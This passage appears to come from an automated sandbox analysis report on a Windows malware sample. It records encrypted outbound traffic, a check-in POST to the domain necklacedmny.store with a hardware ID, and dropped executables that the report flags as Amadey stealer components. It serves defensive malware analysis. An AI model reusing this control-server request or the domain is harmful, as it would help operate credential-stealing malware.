2024-10-29 19:44:47 UTC	15331	OUT	Data Raw: f2 b9 5a 1e ce 7c ab 27 fe 4c b7 5a ab 5e a3 b7 6b c4 96 5f 83 b1 fb b0 1d df e3 43 f4 9e 6c 27 87 ce d4 4e ea fc 0d 11 60 35 96 a6 61 f1 d2 0a a1 db c2 5b 96 88 ea 8a 3b 03 2b ac 1d 3a 71 3f a9 d6 c5 a6 c5 11 51 31 a1 91 c2 9c 57 ff 12 db 88 43 8d a6 23 0d 89 62 1f b2 6e 47 9b 25 81 0e 68 a2 e0 a2 68 f9 6d fc 7a 34 31 f5 a3 bc 25 0e 7e 27 88 67 cc 8c f3 21 d4 88 c4 3e 14 49 09 d0 8f 19 fc 2f d2 ee fe b7 b1 52 93 04 b1 df bb ea 30 23 24 76 e8 30 d1 12 0c 1d 23 00 38 1a 80 a6 88 5e 01 f3 8f da db 3d 75 1e 1c 07 4e 2f 6e 4a 3a f5 eb 22 68 db 48 0a 4d 0d e2 42 5d 77 0f 31 c2 82 04 07 c1 fd 3a 8a 04 60 f0 46 2f de 9a 6f 95 01 13 17 d6 b5 59 ed c2 93 34 1c 4a 0a f3 17 26 1a 44 39 2c 50 76 a4 5a 98 bb 97 9f f5 c4 ff 25 a3 74 dd b9 7b ee 8f 52 cd c8 c1 5f 77 b4 Data Ascii: Z\|'LZ^k_Cl'N`5a[;+:q?Q1WC#bnG%hhmz41%~'g!>I/R0#$v0#8^=uN/nJ:"hHMB]w1:`F/oY4J&D9,PvZ%t{R_w
2024-10-29 19:44:47 UTC	15331	OUT	Data Raw: 1b 24 ff 50 e2 be 15 6c 60 78 2c b3 a8 b5 b6 4a f6 cf 6d 28 6a 2a 53 62 9c 80 5f 38 5a de 74 56 42 49 6e cc 6d 54 e5 dd b5 b4 6c d9 14 22 f8 0a e5 2f 01 e8 7b b9 4d 70 26 92 10 97 cc cb 3d 7f a7 9d 27 9f df 4e e6 9c be bf 11 9f 95 34 a1 5b cd ca 8a cf 7a 9d 4c 15 01 79 5f bf 47 a4 0f db 18 90 47 3f c0 21 3e f8 b2 63 4c ad 75 da 45 82 d5 fd e6 20 bc a4 43 f9 b3 a4 ea d8 d0 04 ec a8 2a b0 5f 2d b9 53 5f 21 78 01 a8 a6 31 59 39 33 cc ab 7c 52 b7 de ad d4 f1 7e 37 51 1e e0 1b 72 53 a8 c4 2b e7 c9 70 f4 1e e5 57 a2 e0 91 c1 cc 6a 5d 0b d2 7b 0c 2d fe fa d6 5e 63 1c 16 6a 1d b6 3a 1b a4 c7 66 09 3e 67 b1 34 78 1f 16 49 1b b9 f9 6b 6b 02 a9 fd ba 35 ba fc 94 59 8e 7b 7f f7 b4 d2 63 dc 2d e2 d0 3a 3b 4b 61 d5 5d 58 90 b9 91 83 8e ae 4f 54 b2 2b fc e7 9f 7f dd 80 Data Ascii: $Pl`x,Jm(jSb_8ZtVBInmTl"/{Mp&='N4[zLy_GG?!>cLuE C_-S_!x1Y93\|R~7QrS+pWj]{-^cj:f>g4xIkk5Y{c-:;Ka]XOT+
2024-10-29 19:44:47 UTC	15331	OUT	Data Raw: fa 88 c4 0f 6d d8 04 36 3f 2b 81 ed 20 d9 af 4c d3 13 62 f7 06 a7 36 e6 41 28 27 59 30 77 bf 34 a0 34 98 dd d2 ed 1c 61 36 0e 35 24 3e 42 72 d9 ab cd c4 b2 68 f6 b9 1f 00 3f 57 ad 71 50 8d ea e3 1f f5 92 dd ae bc bc 2b 21 03 ca 10 28 c1 94 74 ab b0 ac 21 12 eb d1 1d 49 0d f6 09 81 d9 a2 ea a3 2c 43 83 ab 2f d5 1e 20 a9 22 9d af b6 b0 85 d5 fb 37 86 62 c7 b4 0e eb 8e 0d 09 13 a4 e8 fb a4 ef 42 19 c4 8d d7 14 81 09 57 81 31 05 2c 27 b7 70 48 7b b4 a3 e6 74 b0 93 0e 11 0f 34 35 84 ff e2 a5 e0 4f 0f 0a 3e 89 e4 9b 23 72 c2 94 37 e9 41 6c 73 76 fa 72 48 4c cd fb 54 89 66 14 96 f0 98 5a a9 1a da 7c 4b eb 69 44 b1 5e a4 60 5b d0 37 9f 0f 41 8b 9c c0 53 1b 67 ff 43 6a 96 29 6c 94 17 13 a9 d3 ad a3 49 b7 b2 7f b7 58 17 ce af 58 ee 1d ba 9e 6f a8 13 c6 f8 f2 88 4f Data Ascii: m6?+ Lb6A('Y0w44a65$>Brh?WqP+!(t!I,C/ "7bBW1,'pH{t45O>#r7AlsvrHLTfZ\|KiD^`[7ASgCj)lIXXoO
2024-10-29 19:44:47 UTC	15331	OUT	Data Raw: 94 fc 6d 20 29 56 3c f3 1e 5d f2 bf 46 e9 8e 18 d8 51 5a e7 ff 43 13 0f a3 2a 3f 25 14 c7 ef 4a 6e 50 bd 6b 1a 9c 56 58 95 b9 0f 67 95 c2 a8 58 15 88 71 f0 1d c7 77 f4 d0 7a fa e9 42 75 fc 35 9a d6 94 f6 ab f9 27 6b e4 70 78 c9 74 5a e1 60 8b 79 10 a3 b9 e8 d8 fa c4 b9 ef dc 28 e3 68 00 c2 8a 5e 7e ab 71 fd df 51 f9 75 04 5d 9a 30 20 0e 60 38 7c 67 82 b4 57 3b d6 99 fa 0e 90 79 d9 c7 92 53 53 60 fc e6 a2 ac 66 c1 2f 7e 7a e0 3f a7 48 9f c3 92 42 d4 45 23 18 56 12 64 27 e2 5c bb 29 aa 3b 92 7e 16 95 ea c7 c6 ff 41 f7 47 81 2d 51 76 bb 94 64 40 47 dd e9 55 25 85 7f ce a4 c6 31 4f 3b fc 8c 14 96 39 20 f8 4d 51 3e 9d ea bf 7d ba 62 dc 08 cd 65 ab 69 5b 96 20 e7 40 75 2f 3e ed 06 5a b0 75 8c de 5a 06 a4 56 d1 93 66 fd 29 de a4 16 de df a7 6b 5c 54 97 9a f4 a8 Data Ascii: m )V<]FQZC*?%JnPkVXgXqwzBu5'kpxtZ`y(h^~qQu]0 `8\|gW;ySS`f/~z?HBE#Vd'\);~AG-Qvd@GU%1O;9 MQ>}bei[ @u/>ZuZVf)k\T
2024-10-29 19:44:47 UTC	15331	OUT	Data Raw: 23 b3 19 e4 4e cc 55 7f 58 f7 f9 06 e5 2c b3 71 cc 8f 93 cf 4f 84 61 81 02 7d 48 30 d6 48 36 53 7e 58 e1 39 bd 04 8b 6f cc d1 5c 73 17 4a 94 c2 39 49 1d 03 56 58 32 66 ee 70 c3 50 1b f4 b6 f6 de 84 43 ac 41 db 4e 2f 9a 5d 6b 87 d8 9e 8a 6e 71 d8 89 05 21 72 7e d9 84 b3 49 34 55 57 a3 64 7b 29 60 ce 52 36 78 9a 2d 24 4a c8 d4 d9 bc 75 d2 03 5c b4 cc 2c 5b 12 05 5c a7 fb bd 6b a4 91 3e d0 9b b1 c9 72 7d 1b 42 7d 9d aa 09 65 98 1a eb 6f e3 97 8b c8 05 17 82 be fc 10 be a9 b4 8f f5 f3 11 15 15 a5 7e 80 67 0b cd 6e df 19 50 c4 54 a9 bc 8a d2 fd 85 e2 2f 88 1d c1 23 aa 3e 48 c1 a8 c8 e8 38 1d 91 13 3b 29 19 0e 85 83 fd 51 23 55 01 60 df 04 9b 07 ec 61 71 ff 59 7c 72 01 77 3b a7 d9 13 99 4f f8 77 c6 5d 5f 63 0c 8d 2d 57 8f f6 f3 0b 71 c6 39 f9 2d 07 b6 91 41 6b Data Ascii: #NUX,qOa}H0H6S~X9o\sJ9IVX2fpPCAN/]knq!r~I4UWd{)`R6x-$Ju\,[\k>r}B}eo~gnPT/#>H8;)Q#U`aqY\|rw;Ow]_c-Wq9-Ak

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	62421	188.114.96.3	443	5024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:44:50 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-29 19:44:50 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 35 36 36 35 36 43 31 34 33 41 34 44 34 41 45 36 43 46 43 45 43 41 31 31 38 39 43 41 44 38 41 38 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=56656C143A4D4AE6CFCECA1189CAD8A8
2024-10-29 19:44:51 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:44:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b2q0glnk8jvdvbq3no8giqssmd; expires=Sat, 22 Feb 2025 13:31:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KDBWlfecNhGpH0Fci%2FHMGu3jlM5d8gjxxVDVNwhc%2BQlBpqYlLqu892axn2YlxyqWITVjikqPiZrp%2FNN7Lu%2FWxS5vjb6tbZusd%2F6Ek7ZiZcKCIKCzQOPt3L66lj2HQGwKit71UP4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da5a99d688545ee-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1896&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1529039&cwnd=237&unsent_bytes=0&cid=9f6780f376a9f08f&ts=486&x=0"
2024-10-29 19:44:51 UTC	214	IN	Data Raw: 64 30 0d 0a 49 44 69 56 33 31 72 38 45 30 44 76 4c 67 47 31 7a 50 59 63 65 33 44 6c 6e 6e 53 4d 62 69 34 31 63 5a 35 41 71 68 7a 58 6f 30 31 37 51 37 65 71 65 4d 59 78 4b 4a 74 61 63 59 2b 51 32 55 42 55 51 64 32 72 57 72 35 66 47 78 74 41 72 33 4f 45 4c 65 48 2f 59 6b 39 65 38 34 4e 31 6d 48 59 6d 77 55 74 35 30 4f 37 61 50 68 30 45 78 36 52 45 6f 45 78 4c 46 30 75 75 50 59 5a 6e 39 64 5a 76 47 68 72 39 71 79 36 4d 4b 52 7a 41 63 69 36 45 39 4d 4d 79 53 55 48 51 73 45 57 39 58 51 41 45 52 38 4a 76 78 33 57 35 78 68 45 50 53 76 53 78 50 70 4e 2b 62 6f 70 57 5a 4a 66 67 31 48 6f 50 55 74 2b 75 57 4b 34 4c 44 41 39 42 34 78 30 3d 0d 0a Data Ascii: d0IDiV31r8E0DvLgG1zPYce3DlnnSMbi41cZ5AqhzXo017Q7eqeMYxKJtacY+Q2UBUQd2rWr5fGxtAr3OELeH/Yk9e84N1mHYmwUt50O7aPh0Ex6REoExLF0uuPYZn9dZvGhr9qy6MKRzAci6E9MMySUHQsEW9XQAER8Jvx3W5xhEPSvSxPpN+bopWZJfg1HoPUt+uWK4LDA9B4x0=
2024-10-29 19:44:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:43:46
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x170000
File size:	2'930'688 bytes
MD5 hash:	CE30C177C983F9A8EF192452D20075E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:44:57
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe"
Imagebase:	0x4d0000
File size:	2'751'488 bytes
MD5 hash:	CFCC3E3407A3566A9706B31DEB9C320E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:45:03
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe"
Imagebase:	0xf20000
File size:	1'915'904 bytes
MD5 hash:	5F38C4D8D82BD75C9E66E4D5DC7FA257
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2924003746.0000000005500000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2967313424.0000000000F21000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:45:06
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x830000
File size:	1'915'904 bytes
MD5 hash:	5F38C4D8D82BD75C9E66E4D5DC7FA257
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.3006111132.0000000000831000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2965064761.0000000004840000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:45:07
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x830000
File size:	1'915'904 bytes
MD5 hash:	5F38C4D8D82BD75C9E66E4D5DC7FA257
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.3006807821.0000000000831000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2965815097.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00A09979 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2593696869.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, Offset: 00A04000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_a02000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f10c229e95da1732650c348e2e7b5b196244221e005240f0173ed51d042bd9b
Instruction ID: 565fca53ceef19e785b8a54a8327bbefd26827a3d5d3eb3050132df8820978b8
Opcode Fuzzy Hash: 7f10c229e95da1732650c348e2e7b5b196244221e005240f0173ed51d042bd9b
Instruction Fuzzy Hash: B1D1565184E7C24FD31387745C6A692BFB06F13264B0E82EBC0E8CE5E7D25C5949D366

Function 00A09979 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2593696869.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, Offset: 00A02000, based on PE: false

Associated: 00000000.00000003.2592869556.0000000000A02000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_a02000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f6107aaaa038edd093bb20eeac60dc33a79e9a6203acbcc7810d25852bf668a
Instruction ID: 565fca53ceef19e785b8a54a8327bbefd26827a3d5d3eb3050132df8820978b8
Opcode Fuzzy Hash: 8f6107aaaa038edd093bb20eeac60dc33a79e9a6203acbcc7810d25852bf668a
Instruction Fuzzy Hash: B1D1565184E7C24FD31387745C6A692BFB06F13264B0E82EBC0E8CE5E7D25C5949D366

Analysis Process: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exePID: 524, Parent PID: 5024COMMON

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	28.1%
Signature Coverage:	3.1%
Total number of Nodes:	32
Total number of Limit Nodes:	2

Executed Functions

Function 00672645 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00672645

Memory Dump Source

Source File: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: f9fff50e710672ae54adae2280cbbd000cd8b0e1bb86aadc4d01dc13c74b9737
Instruction ID: 507c2fef95edd4b97168f1da822b7f3bf07234b0dd0183c5e4e6708456887467
Opcode Fuzzy Hash: f9fff50e710672ae54adae2280cbbd000cd8b0e1bb86aadc4d01dc13c74b9737
Instruction Fuzzy Hash: 903127B251C610AFE311AF19D8C1BBEFBE5EF88720F06492EEAC483600D63548518B97

Function 004DB978 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf1f69a2758ae3c6020a1183fc02dcce95be386c78fbc4d5bde405f2dcdddb2a
Instruction ID: 43ba51fad35c74a9cec1abf26d458d3059870fe00fa477413ce07e2627cd5cd5
Opcode Fuzzy Hash: bf1f69a2758ae3c6020a1183fc02dcce95be386c78fbc4d5bde405f2dcdddb2a
Instruction Fuzzy Hash: 10517773900A26CFCB118F69887439AB391EB41734F2B4567C8869BB99D37D1C4187CC

Function 006901E7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 006901FC

Strings

q;Sq, xrefs: 006901EF

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
